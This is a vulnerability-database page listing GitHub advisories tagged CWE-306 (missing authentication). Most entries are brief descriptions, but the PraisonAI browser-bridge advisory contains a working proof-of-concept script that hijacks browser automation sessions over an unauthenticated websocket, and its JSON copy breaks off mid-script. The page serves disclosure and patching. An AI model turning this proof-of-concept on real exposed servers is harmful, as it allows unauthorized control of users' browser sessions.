Common Weakness Enumeration

CWE-306

Allowed

Missing Authentication for Critical Function

Abstraction: Base · Status: Draft

The product does not perform any authentication for functionality that requires a provable user identity or consumes a significant amount of resources.

3572 vulnerabilities reference this CWE, most recent first.

GHSA-8VVV-M77R-H43Q

Vulnerability from github – Published: 2022-05-26 00:01 – Updated: 2022-06-08 00:00
VLAI
Details

A denial of service vulnerability exists in the OAS Engine SecureConfigValues functionality of Open Automation Software OAS Platform V16.00.0112. A specially-crafted network request can lead to loss of communications. An attacker can send a network request to trigger this vulnerability.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2022-26026"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-306"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2022-05-25T21:15:00Z",
    "severity": "HIGH"
  },
  "details": "A denial of service vulnerability exists in the OAS Engine SecureConfigValues functionality of Open Automation Software OAS Platform V16.00.0112. A specially-crafted network request can lead to loss of communications. An attacker can send a network request to trigger this vulnerability.",
  "id": "GHSA-8vvv-m77r-h43q",
  "modified": "2022-06-08T00:00:59Z",
  "published": "2022-05-26T00:01:09Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2022-26026"
    },
    {
      "type": "WEB",
      "url": "https://talosintelligence.com/vulnerability_reports/TALOS-2022-1491"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-8W5H-774Q-3RHM

Vulnerability from github – Published: 2023-05-12 15:30 – Updated: 2024-04-04 04:03
VLAI
Details

Missing Authentication for Critical Function in SICK Flexi Classic and Flexi Soft Gateways with Partnumbers 1042193, 1042964, 1044078, 1044072, 1044073, 1044074, 1099830, 1099832, 1127717, 1069070, 1112296, 1051432, 1102420, 1127487, 1121596, 1121597 allows an unauthenticated remote attacker to influence the availability of the device by changing the IP settings of the device via broadcasted UDP packets.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2023-23444"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-306"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2023-05-12T13:15:09Z",
    "severity": "HIGH"
  },
  "details": "Missing Authentication for Critical Function in SICK Flexi Classic and Flexi Soft Gateways with Partnumbers 1042193, 1042964, 1044078, 1044072, 1044073, 1044074, 1099830, 1099832, 1127717, 1069070, 1112296, 1051432, 1102420, 1127487, 1121596, 1121597 allows an unauthenticated remote attacker to influence the availability of the device by changing the IP settings of the device via broadcasted UDP packets.",
  "id": "GHSA-8w5h-774q-3rhm",
  "modified": "2024-04-04T04:03:50Z",
  "published": "2023-05-12T15:30:21Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-23444"
    },
    {
      "type": "WEB",
      "url": "https://sick.com/.well-known/csaf/white/2023/sca-2023-0003.json"
    },
    {
      "type": "WEB",
      "url": "https://sick.com/.well-known/csaf/white/2023/sca-2023-0003.pdf"
    },
    {
      "type": "WEB",
      "url": "https://sick.com/psirt"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-8WF3-M6G4-JX6P

Vulnerability from github – Published: 2022-05-24 17:29 – Updated: 2022-05-24 17:29
VLAI
Details

Improper Authentication vulnerability in WAGO 750-8XX series with FW version <= FW07 allows an attacker to change some special parameters without authentication. This issue affects: WAGO 750-852 version FW07 and prior versions. WAGO 750-880/xxx-xxx version FW07 and prior versions. WAGO 750-881 version FW07 and prior versions. WAGO 750-831/xxx-xxx version FW07 and prior versions. WAGO 750-882 version FW07 and prior versions. WAGO 750-885/xxx-xxx version FW07 and prior versions. WAGO 750-889 version FW07 and prior versions.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2020-12505"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-306"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2020-09-30T16:15:00Z",
    "severity": "CRITICAL"
  },
  "details": "Improper Authentication vulnerability in WAGO 750-8XX series with FW version \u003c= FW07 allows an attacker to change some special parameters without authentication. This issue affects: WAGO 750-852 version FW07 and prior versions. WAGO 750-880/xxx-xxx version FW07 and prior versions. WAGO 750-881 version FW07 and prior versions. WAGO 750-831/xxx-xxx version FW07 and prior versions. WAGO 750-882 version FW07 and prior versions. WAGO 750-885/xxx-xxx version FW07 and prior versions. WAGO 750-889 version FW07 and prior versions.",
  "id": "GHSA-8wf3-m6g4-jx6p",
  "modified": "2022-05-24T17:29:45Z",
  "published": "2022-05-24T17:29:45Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2020-12505"
    },
    {
      "type": "WEB",
      "url": "https://cert.vde.com/en-us/advisories/vde-2020-027"
    }
  ],
  "schema_version": "1.4.0",
  "severity": []
}

GHSA-8WJP-8F9V-PH26

Vulnerability from github – Published: 2025-12-09 21:31 – Updated: 2025-12-19 21:30
VLAI
Details

MiniDVBLinux 5.4 contains a remote code execution vulnerability in the SVDRP protocol that allows remote attackers to send commands to manipulate TV systems. Attackers can send crafted SVDRP commands through the svdrpsend.sh script to execute messages and potentially control the video disk recorder remotely.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2023-53774"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-306"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-12-09T21:15:52Z",
    "severity": "MODERATE"
  },
  "details": "MiniDVBLinux 5.4 contains a remote code execution vulnerability in the SVDRP protocol that allows remote attackers to send commands to manipulate TV systems. Attackers can send crafted SVDRP commands through the svdrpsend.sh script to execute messages and potentially control the video disk recorder remotely.",
  "id": "GHSA-8wjp-8f9v-ph26",
  "modified": "2025-12-19T21:30:16Z",
  "published": "2025-12-09T21:31:49Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-53774"
    },
    {
      "type": "WEB",
      "url": "https://www.exploit-db.com/exploits/51093"
    },
    {
      "type": "WEB",
      "url": "https://www.linuxtv.org/vdrwiki/index.php/SVDRP#The_commands"
    },
    {
      "type": "WEB",
      "url": "https://www.minidvblinux.de"
    },
    {
      "type": "WEB",
      "url": "https://www.vulncheck.com/advisories/minidvblinux-simple-videodiskrecorder-protocol-remote-code-execution"
    },
    {
      "type": "WEB",
      "url": "https://www.zeroscience.mk/en/vulnerabilities/ZSL-2022-5714.php"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

GHSA-8WR9-R69X-G268

Vulnerability from github – Published: 2022-05-24 22:00 – Updated: 2022-05-24 22:00
VLAI
Details

The /rest/api/latest/groupuserpicker resource in Jira before version 8.4.0 allows remote attackers to enumerate usernames via an information disclosure vulnerability.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2019-8449"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-200",
      "CWE-306"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2019-09-11T14:15:00Z",
    "severity": "MODERATE"
  },
  "details": "The /rest/api/latest/groupuserpicker resource in Jira before version 8.4.0 allows remote attackers to enumerate usernames via an information disclosure vulnerability.",
  "id": "GHSA-8wr9-r69x-g268",
  "modified": "2022-05-24T22:00:30Z",
  "published": "2022-05-24T22:00:30Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2019-8449"
    },
    {
      "type": "WEB",
      "url": "https://jira.atlassian.com/browse/JRASERVER-69796"
    },
    {
      "type": "WEB",
      "url": "http://packetstormsecurity.com/files/156172/Jira-8.3.4-Information-Disclosure.html"
    }
  ],
  "schema_version": "1.4.0",
  "severity": []
}

GHSA-8WVG-5X7G-Q897

Vulnerability from github – Published: 2025-10-08 06:31 – Updated: 2025-10-08 06:31
VLAI
Details

The Chartify – WordPress Chart Plugin for WordPress is vulnerable to Missing Authentication for Critical Function in all versions up to, and including, 3.5.9. This is due to the plugin registering an unauthenticated AJAX action that dispatches to admin-class methods based on a request parameter, without any nonce or capability checks. This makes it possible for unauthenticated attackers to execute administrative functions via the wp-admin/admin-ajax.php endpoint granted they can identify callable method names.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2025-11171"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-306"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-10-08T06:15:34Z",
    "severity": "MODERATE"
  },
  "details": "The Chartify \u2013 WordPress Chart Plugin for WordPress is vulnerable to Missing Authentication for Critical Function in all versions up to, and including, 3.5.9. This is due to the plugin registering an unauthenticated AJAX action that dispatches to admin-class methods based on a request parameter, without any nonce or capability checks. This makes it possible for unauthenticated attackers to execute administrative functions via the wp-admin/admin-ajax.php endpoint granted they can identify callable method names.",
  "id": "GHSA-8wvg-5x7g-q897",
  "modified": "2025-10-08T06:31:04Z",
  "published": "2025-10-08T06:31:04Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-11171"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/browser/chart-builder/tags/3.5.8/admin/class-chart-builder-admin.php#L1625"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/browser/chart-builder/tags/3.5.8/admin/class-chart-builder-admin.php#L675"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/browser/chart-builder/tags/3.5.8/includes/class-chart-builder.php#L247"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/changeset?sfp_email=\u0026sfph_mail=\u0026reponame=\u0026old=3372188%40chart-builder%2Ftags%2F3.6.0\u0026new=3372188%40chart-builder%2Ftags%2F3.6.0"
    },
    {
      "type": "WEB",
      "url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/aa3e030b-8ef1-4dbc-940d-6c2ab2683620?source=cve"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-8X4J-8HHC-J8JF

Vulnerability from github – Published: 2025-10-14 12:31 – Updated: 2025-10-14 12:31
VLAI
Details

A vulnerability has been identified in SIMATIC CP 1542SP-1 (6GK7542-6UX00-0XE0) (All versions < V2.4.24), SIMATIC CP 1542SP-1 IRC (6GK7542-6VX00-0XE0) (All versions < V2.4.24), SIMATIC CP 1543SP-1 (6GK7543-6WX00-0XE0) (All versions < V2.4.24), SIPLUS ET 200SP CP 1542SP-1 IRC TX RAIL (6AG2542-6VX00-4XE0) (All versions < V2.4.24), SIPLUS ET 200SP CP 1543SP-1 ISEC (6AG1543-6WX00-7XE0) (All versions < V2.4.24), SIPLUS ET 200SP CP 1543SP-1 ISEC TX RAIL (6AG2543-6WX00-4XE0) (All versions < V2.4.24). Affected devices do not properly authenticate configuration connections. This could allow an unauthenticated remote attacker to access the configuration data.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2025-40771"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-306"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-10-14T10:15:38Z",
    "severity": "CRITICAL"
  },
  "details": "A vulnerability has been identified in SIMATIC CP 1542SP-1 (6GK7542-6UX00-0XE0) (All versions \u003c V2.4.24), SIMATIC CP 1542SP-1 IRC (6GK7542-6VX00-0XE0) (All versions \u003c V2.4.24), SIMATIC CP 1543SP-1 (6GK7543-6WX00-0XE0) (All versions \u003c V2.4.24), SIPLUS ET 200SP CP 1542SP-1 IRC TX RAIL (6AG2542-6VX00-4XE0) (All versions \u003c V2.4.24), SIPLUS ET 200SP CP 1543SP-1 ISEC (6AG1543-6WX00-7XE0) (All versions \u003c V2.4.24), SIPLUS ET 200SP CP 1543SP-1 ISEC TX RAIL (6AG2543-6WX00-4XE0) (All versions \u003c V2.4.24). Affected devices do not properly authenticate configuration connections. This could allow an unauthenticated remote attacker to access the configuration data.",
  "id": "GHSA-8x4j-8hhc-j8jf",
  "modified": "2025-10-14T12:31:31Z",
  "published": "2025-10-14T12:31:31Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-40771"
    },
    {
      "type": "WEB",
      "url": "https://cert-portal.siemens.com/productcert/html/ssa-486936.html"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

GHSA-8X4R-HHW7-VRHG

Vulnerability from github – Published: 2023-03-13 21:30 – Updated: 2023-03-16 18:30
VLAI
Details

The Akuvox E11 web server can be accessed without any user authentication, and this could allow an attacker to access sensitive information, as well as create and download packet captures with known default URLs.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2023-0354"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-306"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2023-03-13T21:15:00Z",
    "severity": "CRITICAL"
  },
  "details": "The Akuvox E11 web server can be accessed without any user authentication, and this could allow an attacker to access sensitive information, as well as create and download packet captures with known default URLs.",
  "id": "GHSA-8x4r-hhw7-vrhg",
  "modified": "2023-03-16T18:30:28Z",
  "published": "2023-03-13T21:30:39Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-0354"
    },
    {
      "type": "WEB",
      "url": "https://www.cisa.gov/news-events/ics-advisories/icsa-23-068-01"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-8X8F-54WF-VV92

Vulnerability from github – Published: 2026-04-10 19:32 – Updated: 2026-04-14 21:54
VLAI
Summary
PraisonAI Browser Server allows unauthenticated WebSocket clients to hijack connected extension sessions
Details

Summary

praisonai browser start exposes the browser bridge on 0.0.0.0 by default, and its /ws endpoint accepts websocket clients that omit the Origin header entirely. An unauthenticated network client can connect as a fake controller, send start_session, cause the server to forward start_automation to another connected browser-extension websocket, and receive the resulting action/status stream back over that hijacked session. This allows unauthorized remote use of a connected browser automation session without any credentials.

Details

The issue is in the browser bridge trust model. The code assumes that websocket peers are trusted local components, but that assumption is not enforced.

Relevant code paths:

  • Default network exposure: src/praisonai/praisonai/browser/server.py:38-44 and src/praisonai/praisonai/browser/cli.py:25-30
  • Optional-only origin validation: src/praisonai/praisonai/browser/server.py:156-173
  • Unauthenticated start_session routing: src/praisonai/praisonai/browser/server.py:237-240 and src/praisonai/praisonai/browser/server.py:289-302
  • Cross-connection forwarding to any other idle websocket: src/praisonai/praisonai/browser/server.py:344-356
  • Broadcast of action output back to the initiating unauthenticated client: src/praisonai/praisonai/browser/server.py:412-423 and src/praisonai/praisonai/browser/server.py:462-476

The handshake logic only checks origin when an Origin header is present:

origin = websocket.headers.get("origin")
if origin:
    ...
    if not is_allowed:
        await websocket.close(code=1008)
        return

await websocket.accept()

This means a non-browser client can omit Origin completely and still be accepted.

After that, any connected client can send {"type":"start_session", ...}. The server then looks for the first other websocket without a session and sends it a start_automation message:

if client_conn != conn and client_conn.websocket and not client_conn.session_id:
    await client_conn.websocket.send_text(json_mod.dumps(start_msg))
    client_conn.session_id = session_id
    sent_to_extension = True
    break

When the extension-side connection responds with an observation, the resulting action is broadcast to every websocket with the same session_id, including the unauthenticated initiating client:

action_response = {
    "type": "action",
    "session_id": session_id,
    **action,
}

for client_id, client_conn in self._connections.items():
    if client_conn.session_id == session_id and client_conn != conn:
        await client_conn.websocket.send_json(action_response)

I verified this on the latest local checkout: praisonai version 4.5.134 at commit 365f75040f4e279736160f4b6bdb2bdb7a3968d4.

PoC

I used tmp/pocs/poc.sh to reproduce the issue from a clean local checkout.

Run:

cd "/Users/r1zzg0d/Documents/CVE hunting/targets/PraisonAI"
./tmp/pocs/poc.sh

Expected vulnerable output:

[+] No-Origin client accepted: True
[+] Session forwarded to extension: True
[+] Action broadcast to attacker: True
[+] RESULT: VULNERABLE - unauthenticated client can hijack browser sessions.

Step-by-step reproduction:

  1. Start the local browser bridge from the checked-out source tree.
  2. Connect one websocket as a stand-in extension using a valid chrome-extension://<32-char-id> origin.
  3. Connect a second websocket with no Origin header.
  4. Send start_session from the unauthenticated websocket.
  5. Observe that the server forwards start_automation to the extension websocket.
  6. Send an observation from the extension websocket using the assigned session_id.
  7. Observe that the resulting action and completion status are delivered back to the unauthenticated initiating websocket.

tmp/pocs/poc.sh:

#!/bin/sh
set -eu

SCRIPT_DIR="$(CDPATH= cd -- "$(dirname -- "$0")" && pwd)"

cd "$SCRIPT_DIR/../.."

exec uv run --no-project \
  --with fastapi \
  --with uvicorn \
  --with websockets \
  python3 "$SCRIPT_DIR/poc.py"

tmp/pocs/poc.py:

#!/usr/bin/env python3
"""Verify unauthenticated browser-server session hijack on current source tree.

This PoC starts the BrowserServer from the local checkout, connects:
1. A fake extension client using an arbitrary chrome-extension Origin
2. An attacker client with no Origin header

It then shows the attacker can start a session that the server forwards to the
extension connection, and can receive the resulting action broadcast back over
that hijacked session.
"""

from __future__ import annotations

import asyncio
import json
import os
import socket
import sys
import tempfile
from pathlib import Path


REPO_ROOT = Path(__file__).resolve().parents[2]
SRC_ROOT = REPO_ROOT / "src" / "praisonai"
if str(SRC_ROOT) not in sys.path:
    sys.path.insert(0, str(SRC_ROOT))


def _pick_port() -> int:
    with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as sock:
        sock.bind(("127.0.0.1", 0))
        return sock.getsockname()[1]


class DummyBrowserAgent:
    """Minimal stub to avoid real LLM/browser dependencies during validation."""

    def __init__(self, model: str, max_steps: int, verbose: bool):
        self.model = model
        self.max_steps = max_steps
        self.verbose = verbose

    async def aprocess_observation(self, message: dict) -> dict:
        return {
            "action": "done",
            "thought": f"processed: {message.get('url', '')}",
            "done": True,
            "summary": "dummy action generated",
        }


async def main() -> int:
    temp_home = tempfile.TemporaryDirectory(prefix="praisonai-browser-poc-")
    os.environ["HOME"] = temp_home.name

    from praisonai.browser.server import BrowserServer
    import praisonai.browser.agent as agent_module
    import uvicorn
    import websockets

    agent_module.BrowserAgent = DummyBrowserAgent

    port = _pick_port()
    server = BrowserServer(host="127.0.0.1", port=port, verbose=False)
    app = server._get_app()

    config = uvicorn.Config(
        app,
        host="127.0.0.1",
        port=port,
        log_level="error",
        access_log=False,
    )
    uvicorn_server = uvicorn.Server(config)
    server_task = asyncio.create_task(uvicorn_server.serve())

    try:
        for _ in range(50):
            if uvicorn_server.started:
                break
            await asyncio.sleep(0.1)
        else:
            raise RuntimeError("Uvicorn server did not start in time")

        ws_url = f"ws://127.0.0.1:{port}/ws"

        async with websockets.connect(
            ws_url,
            origin="chrome-extension://aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa",
        ) as extension_ws:
            extension_welcome = json.loads(await extension_ws.recv())
            print("[+] Extension welcome:", extension_welcome)

            async with websockets.connect(ws_url) as attacker_ws:
                attacker_welcome = json.loads(await attacker_ws.recv())
                print("[+] Attacker welcome:", attacker_welcome)

                await attacker_ws.send(
                    json.dumps(
                        {
                            "type": "start_session",
                            "goal": "Open internal admin page and reveal secrets",
                            "model": "dummy",
                            "max_steps": 1,
                        }
                    )
                )
                start_response = json.loads(await attacker_ws.recv())
                print("[+] Attacker start_session response:", start_response)

                hijacked_msg = json.loads(await extension_ws.recv())
                print("[+] Extension received forwarded message:", hijacked_msg)

                session_id = hijacked_msg["session_id"]
                await extension_ws.send(
                    json.dumps(
                        {
                            "type": "observation",
                            "session_id": session_id,
                            "step_number": 1,
                            "url": "https://victim.example/internal",
                            "elements": [{"selector": "#secret"}],
                        }
                    )
                )

                attacker_action = json.loads(await attacker_ws.recv())
                attacker_status = json.loads(await attacker_ws.recv())
                print("[+] Attacker received broadcast action:", attacker_action)
                print("[+] Attacker received completion status:", attacker_status)

                no_origin_client_connected = attacker_welcome.get("status") == "connected"
                forwarded_to_extension = hijacked_msg.get("type") == "start_automation"
                action_broadcasted = (
                    attacker_action.get("type") == "action"
                    and attacker_action.get("session_id") == session_id
                )

                print("[+] No-Origin client accepted:", no_origin_client_connected)
                print("[+] Session forwarded to extension:", forwarded_to_extension)
                print("[+] Action broadcast to attacker:", action_broadcasted)

                if no_origin_client_connected and forwarded_to_extension and action_broadcasted:
                    print("[+] RESULT: VULNERABLE - unauthenticated client can hijack browser sessions.")
                    return 0

                print("[-] RESULT: NOT VULNERABLE")
                return 1
    finally:
        uvicorn_server.should_exit = True
        try:
            await asyncio.wait_for(server_task, timeout=5)
        except Exception:
            server_task.cancel()
        temp_home.cleanup()


if __name__ == "__main__":
    raise SystemExit(asyncio.run(main()))

tmp/pocs/poc.py starts a temporary local server, stubs the browser agent, opens both websocket roles, and prints the final vulnerability conditions explicitly.

PoC Video:

https://github.com/user-attachments/assets/df078542-bbdc-4341-b438-89c86365009e

Impact

This is an unauthenticated remote-control vulnerability in the browser automation bridge. Any network client that can reach the exposed bridge can impersonate the controller side of the workflow, hijack an available connected extension session, and receive automation output from that hijacked session. In real deployments, this can allow unauthorized browser actions, misuse of model-backed automation, and leakage of sensitive page context or automation results.

Who is impacted:

  • Operators who run praisonai browser start with the default host binding
  • Users with an active connected browser extension session
  • Environments where the bridge is reachable from other hosts on the network

Recommended Fix

Suggested remediations:

  1. Require explicit authentication for every websocket client connecting to /ws.
  2. Reject websocket handshakes that omit Origin, unless they are using a separate authenticated localhost-only transport.
  3. Bind the browser bridge to 127.0.0.1 by default and require explicit operator opt-in for non-loopback exposure.
  4. Do not route start_session to “the first other idle connection”; instead, pair authenticated controller and extension clients explicitly.
Show details on source website

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 1.5.139"
      },
      "package": {
        "ecosystem": "PyPI",
        "name": "praisonaiagents"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.5.140"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 4.5.138"
      },
      "package": {
        "ecosystem": "PyPI",
        "name": "PraisonAI"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "4.5.139"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-40289"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-306"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-04-10T19:32:59Z",
    "nvd_published_at": "2026-04-14T04:17:12Z",
    "severity": "CRITICAL"
  },
  "details": "### Summary\n`praisonai browser start` exposes the browser bridge on `0.0.0.0` by default, and its `/ws` endpoint accepts websocket clients that omit the `Origin` header entirely. An unauthenticated network client can connect as a fake controller, send `start_session`, cause the server to forward `start_automation` to another connected browser-extension websocket, and receive the resulting action/status stream back over that hijacked session. This allows unauthorized remote use of a connected browser automation session without any credentials.\n\n### Details\nThe issue is in the browser bridge trust model. The code assumes that websocket peers are trusted local components, but that assumption is not enforced.\n\nRelevant code paths:\n\n- Default network exposure: `src/praisonai/praisonai/browser/server.py:38-44` and `src/praisonai/praisonai/browser/cli.py:25-30`\n- Optional-only origin validation: `src/praisonai/praisonai/browser/server.py:156-173`\n- Unauthenticated `start_session` routing: `src/praisonai/praisonai/browser/server.py:237-240` and `src/praisonai/praisonai/browser/server.py:289-302`\n- Cross-connection forwarding to any other idle websocket: `src/praisonai/praisonai/browser/server.py:344-356`\n- Broadcast of action output back to the initiating unauthenticated client: `src/praisonai/praisonai/browser/server.py:412-423` and `src/praisonai/praisonai/browser/server.py:462-476`\n\nThe handshake logic only checks origin when an `Origin` header is present:\n\n```python\norigin = websocket.headers.get(\"origin\")\nif origin:\n    ...\n    if not is_allowed:\n        await websocket.close(code=1008)\n        return\n\nawait websocket.accept()\n```\n\nThis means a non-browser client can omit `Origin` completely and still be accepted.\n\nAfter that, any connected client can send `{\"type\":\"start_session\", ...}`. The server then looks for the first other websocket without a session and sends it a `start_automation` message:\n\n```python\nif client_conn != conn and client_conn.websocket and not client_conn.session_id:\n    await client_conn.websocket.send_text(json_mod.dumps(start_msg))\n    client_conn.session_id = session_id\n    sent_to_extension = True\n    break\n```\n\nWhen the extension-side connection responds with an observation, the resulting action is broadcast to every websocket with the same `session_id`, including the unauthenticated initiating client:\n\n```python\naction_response = {\n    \"type\": \"action\",\n    \"session_id\": session_id,\n    **action,\n}\n\nfor client_id, client_conn in self._connections.items():\n    if client_conn.session_id == session_id and client_conn != conn:\n        await client_conn.websocket.send_json(action_response)\n```\n\nI verified this on the latest local checkout: `praisonai` version `4.5.134` at commit `365f75040f4e279736160f4b6bdb2bdb7a3968d4`.\n\n### PoC\nI used `tmp/pocs/poc.sh` to reproduce the issue from a clean local checkout.\n\nRun:\n\n```bash\ncd \"/Users/r1zzg0d/Documents/CVE hunting/targets/PraisonAI\"\n./tmp/pocs/poc.sh\n```\n\nExpected vulnerable output:\n\n```text\n[+] No-Origin client accepted: True\n[+] Session forwarded to extension: True\n[+] Action broadcast to attacker: True\n[+] RESULT: VULNERABLE - unauthenticated client can hijack browser sessions.\n```\n\nStep-by-step reproduction:\n\n1. Start the local browser bridge from the checked-out source tree.\n2. Connect one websocket as a stand-in extension using a valid `chrome-extension://\u003c32-char-id\u003e` origin.\n3. Connect a second websocket with no `Origin` header.\n4. Send `start_session` from the unauthenticated websocket.\n5. Observe that the server forwards `start_automation` to the extension websocket.\n6. Send an `observation` from the extension websocket using the assigned `session_id`.\n7. Observe that the resulting `action` and completion `status` are delivered back to the unauthenticated initiating websocket.\n\n`tmp/pocs/poc.sh`:\n\n```sh\n#!/bin/sh\nset -eu\n\nSCRIPT_DIR=\"$(CDPATH= cd -- \"$(dirname -- \"$0\")\" \u0026\u0026 pwd)\"\n\ncd \"$SCRIPT_DIR/../..\"\n\nexec uv run --no-project \\\n  --with fastapi \\\n  --with uvicorn \\\n  --with websockets \\\n  python3 \"$SCRIPT_DIR/poc.py\"\n```\n\n`tmp/pocs/poc.py`:\n\n```python\n#!/usr/bin/env python3\n\"\"\"Verify unauthenticated browser-server session hijack on current source tree.\n\nThis PoC starts the BrowserServer from the local checkout, connects:\n1. A fake extension client using an arbitrary chrome-extension Origin\n2. An attacker client with no Origin header\n\nIt then shows the attacker can start a session that the server forwards to the\nextension connection, and can receive the resulting action broadcast back over\nthat hijacked session.\n\"\"\"\n\nfrom __future__ import annotations\n\nimport asyncio\nimport json\nimport os\nimport socket\nimport sys\nimport tempfile\nfrom pathlib import Path\n\n\nREPO_ROOT = Path(__file__).resolve().parents[2]\nSRC_ROOT = REPO_ROOT / \"src\" / \"praisonai\"\nif str(SRC_ROOT) not in sys.path:\n    sys.path.insert(0, str(SRC_ROOT))\n\n\ndef _pick_port() -\u003e int:\n    with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as sock:\n        sock.bind((\"127.0.0.1\", 0))\n        return sock.getsockname()[1]\n\n\nclass DummyBrowserAgent:\n    \"\"\"Minimal stub to avoid real LLM/browser dependencies during validation.\"\"\"\n\n    def __init__(self, model: str, max_steps: int, verbose: bool):\n        self.model = model\n        self.max_steps = max_steps\n        self.verbose = verbose\n\n    async def aprocess_observation(self, message: dict) -\u003e dict:\n        return {\n            \"action\": \"done\",\n            \"thought\": f\"processed: {message.get(\u0027url\u0027, \u0027\u0027)}\",\n            \"done\": True,\n            \"summary\": \"dummy action generated\",\n        }\n\n\nasync def main() -\u003e int:\n    temp_home = tempfile.TemporaryDirectory(prefix=\"praisonai-browser-poc-\")\n    os.environ[\"HOME\"] = temp_home.name\n\n    from praisonai.browser.server import BrowserServer\n    import praisonai.browser.agent as agent_module\n    import uvicorn\n    import websockets\n\n    agent_module.BrowserAgent = DummyBrowserAgent\n\n    port = _pick_port()\n    server = BrowserServer(host=\"127.0.0.1\", port=port, verbose=False)\n    app = server._get_app()\n\n    config = uvicorn.Config(\n        app,\n        host=\"127.0.0.1\",\n        port=port,\n        log_level=\"error\",\n        access_log=False,\n    )\n    uvicorn_server = uvicorn.Server(config)\n    server_task = asyncio.create_task(uvicorn_server.serve())\n\n    try:\n        for _ in range(50):\n            if uvicorn_server.started:\n                break\n            await 